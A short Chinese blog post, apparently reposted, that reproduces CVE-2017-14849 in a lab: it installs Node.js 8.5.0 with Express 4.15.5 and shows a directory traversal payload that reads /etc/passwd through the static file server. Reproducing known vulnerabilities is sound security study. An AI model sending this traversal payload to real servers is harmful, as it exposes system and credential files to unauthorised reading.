Node.js CVE-2017-14849 任意文件读取

本文阅读 2 分钟

1、Node.js

node.js是一个基于V8引擎的Javascript运行环境,它使得 Javascript 可以运行在服务端,直接与操作系统进行交互,与文件控制、网络交互、进程控制等。可以简单的理解为:node.js就是运行在服务端的Javascript。

2、Express

Express是一个简洁而灵活的node.js Web应用框架,提供一系列强大特性帮助创建各种Web和移动设备应用。Express不对node.js已有的特性进行二次抽象,我们只是在它之上扩展了Web应用所需的功能。

3、影响版本

Node.js 8.5.0 + Express 3.19.0-3.21.2 Node.js 8.5.0 + Express 4.11.0-4.15.5

4、环境安装

4.1、Node.js 8.5.0安装

1、下载Node.js 8.5.0安装包
wget https://nodejs.org/download/release/v8.5.0/node-v8.5.0-linux-x64.tar.gz
2、解压
tar -zxvf node-v8.5.0-linux-x64.tar.gz
3、安装
sudo mv node-v8.5.0-linux-x64 /opt/
sudo ln -s  ./bin/npm /usr/bin/npm
sudo ln -s  ./bin/node /usr/bin/node

4.2、Express 4.15.5安装

1、下载express-4.15.5
wget https://github.com/expressjs/express/archive/4.15.5.tar.gz
2、解压
tar -zxvf  4.15.5.tar.gz
3、安装express
cd express-4.15.5 && npm install
4、开启express
cd examples
cd static-files
node index.js

原理没太看明白,有兴趣的可以去看看腾讯应急响应中心的关于此漏洞复现的文章。

1、访问web页面,开发者模式下可以看到引用了/static/main.js文件,说明其存在静态文件服务器。 img 2、构建Payload:/static/../../../foo/../../../../etc/passwd img 参考链接:https://security.tencent.com/index.php/blog/msg/121

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/117659549
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复